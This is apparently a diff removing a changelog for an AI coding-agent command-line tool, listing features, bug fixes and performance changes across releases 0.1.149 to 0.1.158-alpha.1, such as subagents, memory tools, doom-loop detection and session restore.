-- **Doom-loop detection hardened** with whitespace-normalized fingerprints, per-file failure tracking, nearest-match hints, and outcome-aware error streaks.
-- **Restore no longer overwrites git identity** — synthetic commits use scoped env vars instead of writing to repo-local git config.
-- **Session token routing fixed** for default models — `grok login` users no longer get 400 errors on proxy-routed models.
-- **Richer API error diagnostics** with redacted headers, request body previews, and response metadata in failure messages.
-- **Worktree list preserves full IDs** by computing dynamic column width instead of truncating to 16 characters.
-- **Restored remote sessions create distinct local children** with parent tracking, preventing identity reuse and duplicate restores on repeated `grok -r`.
-- **Auto A/B testing works on non-macOS** by treating absent worktree pool as passthrough instead of gate.
-- **Worktree ID collision eliminated** by switching from time-based UUID v7 prefix to random UUID v4.
-- **Cancelled and restored sessions no longer hang** by sending explicit shutdown commands before dropping session handles.
-- **Memory search config and watcher correctly applied** — `[memory.search]` was silently ignored and first-use sessions missed watcher startup.
-- **Auto-continue prompts excluded from real user query counts** in compaction, memory hooks, and session-end telemetry.
-- **Deleted memory files removed from search results** and appended content indexed immediately without watcher restart.
-- **Doom-loop detection overhaul** with polling-aware stagnation tracking, turn-scoped resets, targeted per-context warnings, and richer error classification.
-- **A/B overlay path sanitization** across system prompt, tool results, URL-encoded paths, error messages, and `get_task_output` command display.
-- **MCP server retry on init failure** by restoring HTTP config after handshake errors instead of permanently dying.
-- **Sessions no longer hang on stalled inference** — content-aware idle timeout distinguishes keepalive SSE events from real completion tokens.
-- **Turn completion signaled after empty-response retry** by emitting a fallback `AgentMessageChunk` when streaming events were lost.
-- **Up-arrow no-op on empty history** prevents entering history search mode when no previous prompts exist.
-- **Safer conversation compaction** by stripping orphaned tool results and falling back when validation fails.
-- **Reliable prompt persistence** by gating persist_ack on chat history acceptance and flush barrier completion.
-- **Leader startup deadlock resolved** by releasing the file lock before connecting so the leader can reach readiness.
-
-## Performance
-
-- **Faster session restore** by downloading codebase, memory, and state archives concurrently instead of sequentially.
-- **Bounded hunk tracker memory** — binary and >1MB files tracked without retaining content, fixing 1.2GB retention from large files.
-- **Non-blocking telemetry uploads** prevent prompt turns from stalling when the GCS proxy is unhealthy.
-- **Reduced conversation query overhead** with narrow targeted queries that avoid full O(n) conversation clones.
-- **Faster session resume** via selective prompt extraction that skips full deserialization of non-prompt update lines.
-- **Bounded long-session memory** via eager in-memory pruning of old tool results after each user turn.
-
-
-# 0.1.158-alpha.1
-
-## Breaking Changes
-
-- **Repeated failed edits now trigger reread guidance** and search_replace NoMatchesFound responses changed shape to include file_path; update ACP/tool-output parsers.
-- **Bounded hunk-tracker memory usage** adds explicit file-content status views to the ACP response; clients should migrate from legacy content fields to `baseline` and `current` metadata.
-
-## Features
-
-- **Configurable telemetry routing** with custom event endpoints, Mixpanel controls, and remote kill switches for analytics and trace uploads.
-- **Remote session restore on local miss** by hydrating backend sessions into local storage and gating writeback sync with a server-side flag.
-- **More complete remote restores** by materializing deduplicated patches and blobs before replay, with partial-restore warnings for external users.
-- **Binary file attachments are now supported** by decoding blob resources to session storage with MIME metadata, size limits, and content-hash deduplication.
-- **Subagent task execution** adds child agent sessions with lifecycle tracking, progress rendering, and background-task management across the CLI stack.
-- **Opt-in subagent spawning** adds a `--subagents` flag plus env, config, and remote settings controls to gate the task tool.
-- **Safer startup outside repositories** with a feature-flagged non-git warning that lets users quit before losing git-backed tracking and rewind features.
-- **More useful memory tooling** with line-numbered memory_get, config-backed memory_search defaults, clearer memory docs, and richer auto-saved summaries that omit shell commands.
-- **Memory maintenance commands** with reindex/doctor workflows and search ranking that lightly boosts frequently retrieved memories.
-- **Versioned tool contracts** with preset-selected legacy behavior for run_terminal_cmd and read_file, plus contract metadata for integrators.
-- **Subagent transcripts in web** with persisted status cards, structured completion data, and reload-safe child session replay.
-- **Per-subagent model routing** with config and agent-definition overrides, plus correct inheritance from each parent session's live model.
-- **Transparent stdio reconnect recovery** by replaying cached `initialize` and session state after leader restarts, then notifying clients.
-- **Remote-VM sign-in fallback** by accepting pasted OIDC redirect URLs or tokens when the browser runs on another machine.
-- **One-click session ID copying** from session info, with a transient status banner and clipboard error reporting.
-- **Telemetry stays off by default**, with env, config, and remote settings precedence for telemetry and trace uploads.
-
-## Bug Fixes
-
-- **Stronger repeated-edit detection** by normalizing whitespace in search_replace fingerprints so indentation-only retries now trigger doom-loop warnings.
-- **Faster edit recovery after misses** with nearest-match hints in search_replace errors and tighter guidance to use minimal unique anchors.
-- **Session restore no longer overwrites repo git identity** by scoping synthetic commit author details to the restore subprocess only.
-- **Error-loop termination is more reliable** by tracking per-file tool failures separately and only resetting warnings after successful writes.
-- **Longer repeating tool cycles are detected** by raising doom-loop cycle length coverage and using deterministic fingerprint hashing.
-- **Logged-in ACP clients can use default fast models again** by routing session tokens through the chat API proxy instead of api.x.ai.
-- **API failures are easier to diagnose** with redacted request and response context in sampling errors and improved error propagation.
-- **Full worktree IDs in listings** prevent truncated UUIDs and hashes, with dynamic column sizing in `worktree list` output.
-- **Restored sessions keep local lineage** by creating a new local child session and tracking the remote parent for repeatable resumes.
-- **Auto A/B works on Linux and other non-macOS systems** by falling back to on-demand worktree creation when no pool exists.
-- **Concurrent worktree creation avoids collisions** by switching temporary worktree IDs from time-based UUID prefixes to random UUID v4 values.
-- **Cancelled and restored sessions stop getting stuck** by routing prompt-complete notifications correctly and sending explicit shutdowns during teardown.
-- **More reliable cross-session memory** by sharing one backend configuration, filtering synthetic prompts, fixing delete and append reindexing, and correcting telemetry counts.
-- **Cursor-aware reconnect replay** skips already processed updates and resumes session streams from the last seen event.
-- **Fewer false doom-loop stops** with smarter polling detection, per-turn resets, targeted warnings, and synthetic warning tags.
-- **A/B comparison path isolation** so prompts, tool results, and task output no longer expose overlay worktrees or wrapper commands.
-- **Recoverable MCP startup failures** by restoring HTTP configs for retries and surfacing readable MCP App handshake errors.
-- **Clearer restore progress and failure states** with phased events, elapsed times, and explicit incomplete-session-state reporting.
-- **Hung streaming requests now fail fast** by timing out keepalive-only SSE streams that stop producing real model content.
-- **Leader startup no longer races client connects** by binding the IPC socket early and gating ACP traffic on explicit readiness.
-- **More reliable A/B filesystem isolation** with a configurable non-overlay scratch base before falling back to tmpfs mounts.
-- **Clients can distinguish auto-update restarts** by propagating explicit leader shutdown reasons through the IPC protocol and reconnect state.
-- **Completed turns no longer disappear downstream** by emitting a fallback text chunk when streaming events were lost after retries.
-- **Leader/client version mismatches are surfaced immediately** with ACP notifications, TUI banners, and headless warnings after registration.
-- **Prompt history search no longer opens empty** by ignoring Up-arrow history mode when both queued prompts and saved history are absent.
-- **Legacy list_dir compatibility** for older clients, restoring empty-directory, error, and depth-threshold output parity.
-- **Safer conversation compaction** by stripping orphaned tool results and falling back when replayable history validation fails.
-- **More reliable prompt persistence** by acknowledging prompts only after chat history accepts them and the flush barrier completes.
-- **Legacy task error parity** for older clients, restoring exact not-found wording in get_task_output and kill_task.
-
-## Performance
-
-- **Faster session restore** downloads codebase, memory, and state archives concurrently while surfacing clearer restore strategy and warning summaries.
-- **Prompt turns stay responsive** by moving GCS telemetry uploads to fire-and-forget paths when retries or queue fallbacks occur.
-- **Lower memory use in long sessions** by replacing full conversation clones, selectively scanning updates, and pruning retained tool results.
-- **Faster startup before code navigation** by lazily building indexes only for web clients that advertise x.ai/codeNavigation.
-
-
-# 0.1.158
-
-## Features
-
-- **Remote announcements** from remote settings with tolerant deserializer.
-- **Shell completions** via `grok completions <shell>`, leader CLI, and stdio reconnect replay.
-- **User-defined subagents** via.kigi/agents/*.md with config toggles.
-- **Post-compaction reminder includes running subagents** with IDs, types, and poll/cancel instructions.
-- **External auth provider binary** enables login via custom commands in sandboxed/air-gapped environments.
-- **Custom models_base_url auto-fetches** OpenAI-compatible model list for enterprise proxies.
-- **Guarded normalized fallback matching** enables search_replace on confusable Unicode typography (gated by flag).
-- **Full-text search across sessions** via new `x.ai/session/search` ACP extension with FTS5 indexing.
-- **Retained file context post-compaction** by re-reading up to 5 recent files into history.
-- **Persisted memory reminders** upsert into conversation system prompt without duplicating transient injections.
-- **Configurable AB turn timeout** cancels stalled comparisons after wall-clock limit with cleanup and observability.
-- **Configurable first-turn memory injection** with dedicated thresholds and remote settings support.
-- **Managed MCPs feature flag** skips fetching by default in headless mode.
-- **Paged announcement UX** adds prev/next commands with reliable startup visibility.
-- **Disables web search tool** via `--disable-web-search` flag or `KIGI_DISABLE_WEB_SEARCH=1` for benchmarks.
-- **hashline_read tool** annotates file output with anchors like `LINE:LOCAL:CONTEXT→CONTENT`.
-- **Grok 4.20 default model** with CLI/env/config/remote-settings overrides for web search and summaries.
-- **Unauthenticated feedback submission** via optional tokens and `KIGI_USER_METADATA` env.
-- **Plan mode tools** EnterPlanMode, ExitPlanMode, AskUserQuestion send structured notifications.
-- **Auto-installs grok-pager** alongside grok during internal and GitHub release updates.
-- **Mid-session token refresh** via OIDC grants or external auth binaries prevents expiry.
-- **Hashline toolset** enables anchor-stable file read/edit/grep with validation, recovery, ranges, and config integration.
-- **Hooks system** executes custom scripts for pre/post-tool and session events from ~/.kigi/hooks/ with deny-wins trust controls.
-- **Independent feedback flag** gates /feedback and popups separately from telemetry via KIGI_FEEDBACK_ENABLED.
-- **Leader CLI** adds `grok leader list/info/profile/kill/dev` for discovery and CPU profiling.
-- **Plan mode state machine** enables agent planning phase with enter/exit tools and session persistence.
-- **Hooks from Claude settings** loads from `~/.claude/settings.json` and project `.claude/settings.json`.
-- **Live subagent progress** shows turns, tools, tokens, errors in `get_task_output` for running tasks.
-- **Unified `/hooks` command** supports `list`, `trust`, `add <path>` with fuzzy autocomplete.
-- **ACP `x.ai/subagent/list_running`** queries live progress for all running subagents of parent session.
-- **Bash tool params from config.toml** override schema defaults like `timeout_secs` for GrokBuild.
-- **Live subagent progress** in TUI tasks panel via ACP polling and push notifications.
-- **ACP extension resumes sessions in worktrees** via single call matching `grok -w -r` CLI flow.
-- **Signed GCS uploads for shares** bypass proxy limits to prevent 413 errors on large sessions.
-
-## Bug Fixes
-
-- **Prompt persistence ack** gated on chat history flush barrier completion.
-- **Leader spawn deadlock** resolved by releasing lock before connect.
-- **Headless clipboard failures** handled silently in session info.
-- **Server-side flags forwarded** via proxy for telemetry and other features.
-- **Leader fetches settings** enabling remote-settings-gated runtime features.
-- **AuthManager respects configured proxy URL** instead of hardcoding the default proxy host.
-- **Clears stale todo spinners** at turn end with transient Plan notification without mutating underlying state.
-- **Config.toml model overrides now apply** custom api_key/base_url to built-in models.
-- **Prevents queued prompts flushing together** via per-turn ID guarding race between notification and response.
-- **Alpha updates pick max(stable, alpha)** and harden channel admissibility across all installers.
-- **Unicode confusables now detected and normalized** in search_replace/read_file with diagnostics, reminders, and guarded fallback matching.
-- **Fixes overlay mount and FS isolation leaks** on AB comparison cancel by using canonical cleanup.
-- **Adds connect timeout to sampling clients** and warms TLS roots for first-chat cold-start latency.
-- **Leader protocol compatibility** by defaulting `ServerMessage::Registered.ready` to true.
-- **Custom skills now discoverable** via config.toml paths and `x.ai/skills/add` in system prompts.
-- **Non-blocking memory flushes** by spawning idle-timer tasks asynchronously.
-- **Accurate turn end display** by not defaulting missing prompt-complete stop reasons to cancelled.
-- **Correct error display** for retries by checking explicit `Cancelled` stop reason only.
-- **Startup panic eliminated** by replacing nested tokio runtime with direct await.
-- **Correct auto-compact in AB forks** by overriding context_window from target model registry.
-- **Async FS operations** in AgentsMdTracker prevent hangs on overlayfs-backed filesystems.
-- **Fixed TUI viewport layout** anchors prompt at bottom with reliable status bar.
-- **run_terminal_cmd exported schema** hides and rejects `is_background` when disabled via params.
-- **Fixed viewport height** enables single-frame dropdown resize without animation.
-- **Respects explicit per-session yoloMode=false** overriding client defaults in leader and TUI.
-- **Aborts path walks on first filesystem timeout** preventing 25-minute hangs on slow mounts.
-- **5-minute tool execution timeout** prevents registry hangs with diagnostic tracing spans.
-- **Non-blocking list_dir** uses tokio::fs::metadata to avoid executor hangs on overlayfs-backed paths.
-- **A/B fork writes** are guarded by display-to-overlay path rewriting in AcpSessionFs.
-- **ESC cancel** resets [cancelling] state via relaxed prompt-complete guard.
-- **Linux A/B forks** skip overlayfs and replicate via git diff to prevent container syscall hangs.
-- **No tool timeouts** allows long-running builds without false positives.
-- **Matches tools server gRPC limits** to 128 MiB preventing `OutOfRange` on large grep outputs.
-- **SSE parsing handles flat errors** from Grok proxy alongside OpenAI-standard nested format.
-- **ACP file errors map to `io::ErrorKind`** ensuring consistent `NotFound`/permission dispatch.
-- **Display paths in grep/list_dir** prevent internal worktree leaks to model in A/B forks.
-- **Silent grok-pager installation** hides implementation details from install/update output.
-- **Improved hashline_edit batch errors** state atomicity and retry-all guidance.
-- **Scoped subagent cancellation** targets only current-turn subagents.
-- **Post-session hooks await before** replication avoids root-repo diff corruption.
-- **AB cancellation unblocked** via async hooks and cleanup timeouts.
-- **Per-region snippets for scattered edits** cap output at ~40 lines instead of 10K+ for distant changes.
-
-## Performance
-
-- **SSE error detection skips JSON parse** on normal chunks via fast contains("\"error\"") guard.
-- **Faster LLM turns** by persisting HTTP/2 client with connection pooling across conversation turns.
-- **Faster streaming completions** by single-pass serialization replacing serde Value mutation.
-- **Tuned reqwest client** enables keepalives, nodelay, and timeouts for faster IC backend requests.
-- **Streamed request bodies** skip buffering and parsing for large non-rewritten payloads.
-
-
-# 0.1.157-alpha.1
-
-## Features
-
-- **Subagent support** gated behind `--subagents` flag, `KIGI_SUBAGENTS` env var, config.toml, or remote settings — disabled by default.
-
-## Bug Fixes
-
-- **Cancelled and restored sessions no longer hang** by sending explicit shutdown commands before dropping session handles.
-
-## Performance
-
-- **Faster session restore** by downloading codebase, memory, and state archives concurrently instead of sequentially.
-
-
-# 0.1.157
-
-## Features
-
-- **Remote session restore on miss** fetches session data from backend when not found locally, with remote-settings-gated writeback.
-- **Dedup-referenced codebase content materialised during restore** by downloading GCS-backed patches and blobs before replay.
-- **Binary file attachments** decoded from base64, written to session storage with content-hash dedup, and surfaced as path hints to the model.
-- **Subagent spawning and lifecycle management** with coordinator tracking, TUI progress rendering, and task tool integration.
-- **Non-git directory warning** with blocking confirmation modal at startup, gated behind a server-side feature flag.
-- **Line-numbered `memory_get` output** matching `read_file` format, with `memory_search` defaults now respecting `[memory.search]` config.
-- **Richer session-end auto-saves** now include tool-usage breakdown and file paths touched; shell commands excluded to prevent credential leakage.
-- **`grok memory reindex` and `doctor` CLI commands** for index maintenance, plus access-frequency boosting for retrieved memory chunks.
-
-## Bug Fixes
-
-- **Doom-loop detection hardened** with whitespace-normalized fingerprints, per-file failure tracking, nearest-match hints, and error-streak termination.
-- **Session restore no longer overwrites git identity** — synthetic commits use subprocess env vars instead of repo-local config.
-- **Session-authenticated users no longer get 400 errors** on default models — credential routing checks actual token source, not advertisement method.
-- **API error messages include structured context** — request URL, relevant headers, and body preview surfaced on auth, payload, and server failures.
-- **Worktree list displays full IDs** with dynamic column width instead of truncating to 16 characters.
-- **Memory search config honored** — `[memory.search]` settings were silently ignored across all three backend construction paths.
-- **Correct memory injection after compaction** — first-turn context now uses the real user query, not the auto-continue prompt.
-- **Deleted memory files no longer searchable** — watcher sync removes stale chunks, and `/memory append` content is indexed immediately.
-
-## Performance
-
-- **Reduced session memory pressure** by replacing 8 full-conversation clone sites with narrow single-field actor queries.
-- **Faster session resume** via selective `updates.jsonl` scanning that skips full deserialization of irrelevant update types.
-- **Bounded long-session memory** by eagerly pruning old tool results from the retained conversation after each user turn.
-
-
-# 0.1.156
-
-## Features
-
-- **Per-session tip rotation** via a persistent cursor so each launch shows the next tip in sequence instead of the same UTC-day tip.
-- **Cross-devbox session restore** via `grok sessions list/search` CLI subcommands and hardened `grok -r` with upload-ordering safety, cwd-scoped lookups, and staged-vs-unstaged correctness.
-
-## Bug Fixes
-
-- **Scoped MCP connector selection** so multiple connectors with the same URL but different auth scopes (Personal/Team/Org) route to the correct token.
-- **GCS upload reliability** with panic-catching upload tasks, full error-chain logging, and aggressive HTTP connection pool eviction to prevent stale-connection retries.
-- **Doom loop detection for repetitive edits** that were previously invisible because interleaved bash commands reset the detector.
-- **Binary blob size cap** enforced during archive building, preventing multi-GB binaries from attempting uploads that would timeout.
-- **Graceful upload drain on shutdown** so pending GCS uploads complete before exit instead of being silently abandoned.
-- **Malformed tool-call JSON sanitization** replaces invalid arguments with `{}` before sending to providers, preventing permanent 400 loops from broken model output.
-- **MCP tool name validation** skips tools with invalid characters (e.g. spaces) that cause Anthropic/OpenRouter 400 errors, instead of crashing the session.
-- **Patch restore compatibility with older git** by removing `--allow-empty` flag and pre-checking for diff content before calling `git apply`.
-
-## Performance
-
-- **Streaming multipart upload for large files** (>50 MB) bypasses proxy body limits and avoids loading entire files into memory.
-
-
-# 0.1.155-alpha.6
-
-## Features
-
-- **Tip of the day** shown at startup, served dynamically from remote settings with local opt-out via `[cli] show_tips = false`.
-- **OAuth2 Authorization Code + PKCE** login flow replacing legacy relay auth, with server-controlled rollout and permanent legacy fallback.
-
-## Bug Fixes
-
-- **Gitignore enforcement** on `read_file` and `search_replace` to reduce accidental secret exposure — aligns with `list_dir` and `grep` behavior.
-- **Session resume race fix** — prevents `--resume` from creating a shadow session when `LoadSession` is in-flight via leader IPC.
-- **Atomic summary writes** via temp-file + rename — fixes EOF parse errors when A/B comparison startup races with summary updates.
-- **Memory tool labels** — `memory_search` and `memory_get` now render as "Memory Search" and "Memory Read" instead of generic labels.
-- **HTTP/2 connection poisoning fix** — rebuilds the sampling client on final retry to recover from stale connections after server GOAWAY/RST_STREAM.
-
-
-# 0.1.155-alpha.5
-
-## Features
-
-- **Tip of the day** shown at startup from remote settings, rotated daily; opt out with `[cli] show_tips = false`.
-- **Gitignore-aware file tools** — read_file and search_replace now refuse access to ignored paths, matching grep and list_dir.
-
-## Bug Fixes
-
-- **Session resume no longer races or silently creates a new session** when leader IPC or replay fails.
-- **Atomic summary.json writes** prevent EOF parse errors during concurrent A/B comparison session loads.
-- **Memory Search and Memory Read labels** in TUI instead of generic Search/Read for memory tool calls.
-- **HTTP/2 connection poisoning recovery** via idle timeout eviction and fresh client rebuild on final retry attempt.
-- **Bash command output appears immediately** by flushing the replay buffer before turn end in `!` prefix mode.
-
-
-# 0.1.155-alpha.4
-
-## Features
-
-- **End-to-end distributed tracing** across clients and the API proxy via W3C `_meta.traceparent` propagation into a single distributed trace.
-
-## Bug Fixes
-
-- **Structured error variants** for read_file, list_dir, search_replace, and todo_write so callers can distinguish file-not-found, permission-denied, and duplicate-id failures.
-- **Replay notifications now guaranteed before session/load response** via `forward_with_completion()` drain; removes public `acp_send_fire_and_forget` from kigi-acp-lib.
-- **Writeback sync now includes cwd and title** in backend metadata on every flush and rename, fixing null values in remote session listings.
-- **Typed TaskNotFound errors** for kill_task and get_task_output with known-task-ID hints, enabling Python-side structured error classification.
-- **Terminal commands detached from controlling TTY** via `setsid()` so subprocesses like ssh cannot steal input from the TUI.
-
-
-# 0.1.155-alpha.3
-
-## Features
-
-- **MCP Apps support** for rendering interactive UI tools served via `ui://` resources from MCP servers.
-- **OpenID Connect login** with PKCE, local callback server, and configuration via config.toml or environment variables.
-- **On-demand MCP tool discovery** via BM25 search and `use_tool` meta-dispatch for KV cache-stable definitions.
-- **Kill background tasks by task_id** via new `x.ai/task/kill` ACP extension method.
-- **Integration tool names visible in TUI** instead of generic search_tool/use_tool plumbing labels.
-
-## Bug Fixes
-
-- **Rewind correctness overhaul** — mutation-free preview, ghost message filtering, compaction-aware replay for all targets.
-- **Memory flush and compaction no longer fail** on orphaned tool_result messages by stripping tool blocks before summarization.
-- **Slash command autocomplete enters argument phase** instead of executing immediately, and option-key word traversal corrected.
-- **Cancel cleanup awaits child process exit** to reclaim memory before returning, preventing cascading OOM kills.
-
-## Performance
-
-- **Parallel tool execution** via shared resources and explicit ToolCallId, removing the sequential single-tool bottleneck.
-
-
-# 0.1.155-alpha.2
-
-## Features
-
-- **Config hot-reload** watches auth, MCP servers, memory, skills, UI, and models for live changes without restart.
-- **`/memory` slash command** appends notes to workspace or global MEMORY.md with smart Markdown heading normalization.
-- **cgroup v2 memory limits for spawned commands** gracefully OOM-kill only the offending process, keeping the session alive.
-- **Debugging technique retention** across sessions by capturing API endpoints, CLI commands, and investigation workflows in memory flush.
-- **File overwrite guard** on search_replace prevents empty old_string from silently replacing existing file contents.
-- **Full command preview in scrollback** for long or multi-line bash commands that exceed the status bar.
-
-## Bug Fixes
-
-- **Duplicate tool name validation** prevents unreachable tools when two share the same client-facing name.
-- **Large pasted text written to disk** so the model's read_file fallback finds the content instead of file-not-found.
-- **TUI reconnect no longer hangs permanently** after leader restart — 30s timeout and guaranteed completion signal.
-- **Duplicate leader exits cleanly** with 30s lock timeout and early bail-out when an existing socket is detected.
-- **A/B fork session traces** now include repo_root and remote_url via shared git2 discovery logic.
-- **Distinct fs tool error messages** differentiate 'does not exist' from 'is a file, not a directory' to prevent agent loops.
-- **Drain timeout for inherited pipes** prevents `cmd &` without stdout redirect from blocking the actor loop indefinitely.
-- **Leader log level defaults to info** instead of debug, cutting log volume ~10x over long-running sessions.
-- **Memory flush sanitization** strips tool_result blocks before windowing to prevent orphaned tool_use_id 400 errors.
-- **A/B comparison disk leak fix** — correct overlay unmount ordering prevents 4.9 GB leak, and primaryModelId now reflects the actual variant model.
-- **Revert memory flush sanitization** that stripped tool messages and broke flush request formatting.
-
-## Performance
-
-- **Faster first prompt on large repos** by capping startup git_status at 2s instead of blocking 10-20s on index refresh.
-- **Dedup blob existence pre-check** skips redundant uploads when another agent has already written the same SHA256 content.
-- **Session eviction on client disconnect** drops SessionHandles to reclaim ~100-500MB per session when IPC clients leave.
-- **mimalloc allocator on macOS Apple Silicon** for alpha builds, fixing 15GB+ RSS from system allocator's unreturned pages.
-
-
-# 0.1.155
-
-## Bug Fixes
-
-- **HTTP/1.1 fallback for sampling requests** when HTTP/2 connections fail with transport errors from GOAWAY or RST_STREAM frames.
-- **Handle response.failed and error streaming events** from the Responses API instead of silently dropping them.
-- **Prevent file descriptor exhaustion on macOS** by capping parallel walker threads and raising the soft FD limit at startup.
-
-
-# 0.1.154-alpha.6
-
-## Features
-
-- **Overlay-based A/B replication** replaces fsnotify+hunk-tracker with overlayfs to capture all terminal-created files during A/B sessions, fixing lost-file bugs on Linux.
-- **/flush slash command** in the TUI triggers an on-demand memory flush to disk via the existing backend extension method.
-
-
-# 0.1.154-alpha.5
-
-## Features
-
-- **Tool execution tracing** via call_id passthrough, follow-up messages, and structured error detail fields in CLI output.
-- **Mandatory AGENTS.md discovery** — runtime-discovered project instruction files must now be read before proceeding.
-- **PTY notification routing** to originating client via targetClientId, with cwd fallback and terminal UI polish.
-- **`--no-auto-update` flag** for leader mode to prevent update-triggered shutdowns in long-running sessions.
-- **On-demand memory flush** via `/flush` command and `x.ai/memory/flush` extension with concurrent-flush prevention.
-- **Tool state export/import** via GetToolState RPC and initial_tool_state_json, enabling session warm-start and cloning.
-- **`KIGI_MEMORY=0` force-disables memory** regardless of config.toml or remote settings; CLI flag still overrides.
-- **Per-tool MCP timeout overrides** via `tool_timeouts` in config.toml and `toolTimeoutsMs` in ACP session meta.
-
-## Bug Fixes
-
-- **Slash command completion** now respects optional arguments, fixing `/load`, `/model`, `/compact`, and `/theme` execution.
-- **Per-session model, sampling, and YOLO tracking** in leader mode, preventing cross-client state contamination.
-- **Complete session replay on reconnect** by switching to unbounded client channels, preventing silently dropped notifications.
-- **Zombie process prevention** on leader respawn with child reaper, config.toml auto_update respect, and stale-binary resolution.
-- **OOM prevention in codebase indexer** via 5MB file-size cap, binary detection, and hidden-directory filtering.
-- **Per-client YOLO mode isolation** in leader mode — toggling no longer contaminates other clients' sessions.
-- **A/B merge-back recovers files in new directories** created via terminal, fixing the inotify recursive-watch race.
-- **Worktree cwd preserves subdirectory offset** instead of resetting to the repo root.
-- **8 MiB stack for session threads** prevents stack overflow on macOS where the default is 512 KB.
-- **Grep tool description clarifies raw regex syntax** to prevent the model from quoting patterns.
-- **Tool kind params merge across all tools** of the same ToolKind, fixing template render failures for multi-tool configs.
-- **User query placed before attached file contents** in the prompt for better model attention.
-- **Read file errors now include the file path and underlying cause** across all tool implementations.
-
-## Performance
-
-- **Lightweight index status queries** via GetFileCount/GetStats, eliminating a full ScopeGraphIndex clone on every status check.
-- **Hunk tracker skips unnecessary file reads** in AgentOnly mode and eliminates a redundant content clone.
-
-
-# 0.1.154-alpha.4
-
-## Features
-
-- **Background command lifecycle** reworked with graceful SIGTERM→SIGKILL escalation, non-blocking I/O, and proper agent tracking for user-backgrounded commands.
-
-## Bug Fixes
-
-- **Auto A/B comparisons deferred until worktree pool is ready**, preventing 30-60s stall on large repos.
-- **Headless mode (`grok -p`) exit panic** fixed by flushing telemetry before runtime teardown.
-
-
-# 0.1.154-alpha.3
-
-## Features
-
-- **MCP server management** via mcp/list, mcp/call, and mcp/servers_updated extension methods with multi-scope connector resolution.
-
-## Bug Fixes
-
-- **PTY notifications reach the correct client** via _meta routing metadata, with shared helpers and session-aware cwd fallback.
-- **Concurrent tool calls no longer crash** the tools server; semaphore serializes access to the thread-local toolset.
-- **Cross-session notification leaks eliminated** in leader mode for relay, dead-client, and ext/notification routing paths.
-- **Leader auto-update pre-downloads the binary** before shutdown and resolves the ~/.kigi/bin symlink at spawn time.
-- **First-compaction memory flush fires correctly** by pre-incrementing the compaction counter before the flush guard.
-- **Interval memory flush resumes after compaction** by resetting the conversation length counter when history is compacted.
-- **Session content restored on TUI reconnect** by clearing stale scrollback, resetting turn state, and gating live updates during replay.
-- **Memory flush entries accumulate across cycles** by appending to daily log files instead of overwriting each flush.
-- **A/B experiment tool output shows original project paths** instead of internal worktree directories in streaming updates.
-- **File write truncation eliminated** by switching to tokio::fs and disabling ACP filesystem routing from the TUI.
-- **Token refresh works for JWTs with aud claims** by disabling audience validation during expiration parsing.
-- **Session resume and fork no longer crash** with "Is a directory" error caused by a regression in the Tool trait migration.
-
-
-# 0.1.154-alpha.2
-
-## Features
-
-- **Structured headless prompts** via --prompt-json and --prompt-file flags, with --verbatim to skip query wrapping.
-- **Bring-your-own-key for A/B comparisons** by reading [ab] openrouter_api_key from config.toml.
-
-
-# 0.1.154-alpha.1
-
-## Features
-
-- **Mid-session MCP server toggling** via x.ai/session/update_mcp_servers extension method with optimistic rollback.
-- **Sandbox profile configurable via KIGI_SANDBOX env variable**, defaulting to workspace profile on devboxes.
-- **Agent version exposed in InitializeResponse** metadata for relay and client version discovery.
-- **`grok worktree` subcommand** for listing, inspecting, removing, and garbage-collecting session worktrees.
-- **Character-budget BFS directory listing** replaces depth-based summarization, expanding small deep directories when budget allows.
-
-## Bug Fixes
-
-- **Tool-server finalize subcommand aligned** with the Python client via named --tools/--truncation args and --json output.
-- **Completion requirement tracking restored** in recovery loop, fixing duplicate tool calls introduced by the DynTool migration.
-- **Foreground command cancellation no longer deadlocks** — terminal backend access moved outside the registry mutex.
-- **A/B session filesystem isolation fixed** by replacing overlayfs with bind-mounts, eliminating split brain between bash and file tools.
-- **ACP file operations** were silently bypassing the client filesystem backend, breaking ask-mode write rejection in GrokCode.
-- **Zero-argument MCP tool calls** no longer fail with JSON parse error when the model emits an empty arguments string.
-- **Model selection in leader mode** now persists across sessions — changing models mid-session no longer reverts on /clear.
-- **Git index.lock contention on devboxes** resolved by adding --no-optional-locks to all background git operations.
-- **System reminders** now fully respect the disabled flag, and template parameter defaults auto-populate from input schemas.
-- **Memory tools now render in TUI and web UIs** with search/read cards, query text, and file path display.
-
-## Performance
-
-- **Session thread isolation** via per-session tokio runtimes, preventing tool execution in one session from blocking another.
-
-
-# 0.1.154
-
-## Features
-
-- **`/flush` slash command** in the TUI for on-demand memory flush to disk.
-
-## Bug Fixes
-
-- **A/B session file preservation** via host-side overlayfs, fixing terminal-created files silently lost during merge-back.
-- **Memory flush no longer infers preferences** from unchallenged assistant actions, requiring explicit user statements.
-
-
-# 0.1.152-alpha.1
-
-## Features
-
-- **Slash command autocomplete** with ACP-advertised built-in and skill commands, keyboard navigation, and fuzzy filtering.
-- **Compact and rewind controls** exposed to the web frontend via typed SessionClient methods with backwards-compatible camelCase aliases.
-- **OpenCode agent mode** with 8 dedicated tools (bash, read, edit, write, grep, glob, todowrite, skill) using opencode conventions.
-
-## Bug Fixes
-
-- **Codex agent tool accuracy** restored by switching to dedicated codex-specific read, list-dir, and grep implementations.
-- **File editing on macOS** fixed by canonicalizing search_replace paths to match read_file's case-normalized tracker keys.
-- **Workspace disambiguation in /load** prevents session list overwrites when multiple workspaces share the same directory basename.
-- **ACP agent profile support** restored for JSON object payloads, fixing permission mode and prompt loss for web and remote clients.
-
-
-# 0.1.151
-
-## Features
-
-- **Interactive web terminals** let clients run full PTY shells over ACP WebSocket with resize, reconnect replay, and unified terminal lifecycle APIs.
-- **Configurable Codex system prompts** let builds toggle custom base templates per agent definition while preserving correct agent-type resolution from the active default model.
-
-## Bug Fixes
-
-- **Graceful tool cancellation handling** prevents agent-loop aborts when gRPC calls are cancelled, with structured CANCELLED errors and end-to-end cancellation coverage.
-- **Accurate edit preview line numbers** now appear before approval by sending diff metadata through standard tool_call_update events instead of permission payload plumbing.
-
-
-# 0.1.149
-
-## Features
-
-- **Offline relay session sync** keeps shared sessions resilient with reconnect and persisted cursors, adding connection-state notifications for reliable TUI status updates.
-- **Foreground tool progress visibility** shows active tool execution in the TUI status bar, generalizing streaming state beyond bash commands.
-- **Config-driven skill loading** lets users add and ignore custom skill paths from config.toml, extending discovery beyond default local and user directories.
-- **Persistent leader availability after disconnects** by spawning leader with --no-exit-on-disconnect, allowing new clients to reconnect without restarting the subprocess.
-
-## Bug Fixes
-
-- **Reliable CLI updates** now refresh grok-latest during installs, ensuring symlink-based setups launch the newly installed binary in fresh shells.
